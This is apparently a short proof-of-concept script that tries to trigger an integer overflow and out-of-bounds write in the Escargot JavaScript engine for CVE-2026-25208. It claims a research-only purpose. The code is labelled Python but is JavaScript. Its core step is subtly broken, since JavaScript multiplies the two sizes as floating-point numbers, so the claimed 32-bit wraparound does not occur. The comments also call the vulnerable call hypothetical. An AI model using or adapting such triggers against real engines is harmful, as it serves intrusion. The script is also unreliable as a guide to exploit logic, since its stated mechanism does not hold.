The following code is for security research and authorized testing only.
python
// PoC Concept for CVE-2026-25208 (Integer Overflow leading to Buffer Overflow)
// This script demonstrates the logic of triggering an integer overflow in Escargot.
// Note: Actual exploitation requires specific memory layout and heap grooming.
function trigger_cve_2026_25208() {
try {
// Step 1: Define values that cause overflow when multiplied
// Example: 0x10000000 * 0x10 overflows a 32-bit integer
var size_a = 0x10000000;
var size_b = 0x10;
// Step 2: Simulate the vulnerable allocation calculation
// The engine might calculate size = size_a * size_b without checking overflow
// Result wraps to a small number (e.g., 0x00000000)
// Hypothetical vulnerable API call (Representation)
// In real Escargot, this could be Array allocation or TypedArray buffer creation
var victim_buffer = new ArrayBuffer(size_a * size_b);
// Step 3: Attempt to write beyond the allocated small buffer
var view = new Uint8Array(victim_buffer);
// Writing a large amount of data to the small buffer triggers the overflow
for (var i = 0; i < 0x1000; i++) {
view[i] = 0x41; // Write 'A'
}
console.log("[+] If no crash, the engine might have mitigated the overflow.");
} catch (e) {
console.log("[-] Exception triggered: " + e);
}
}
// Execute
trigger_cve_2026_25208();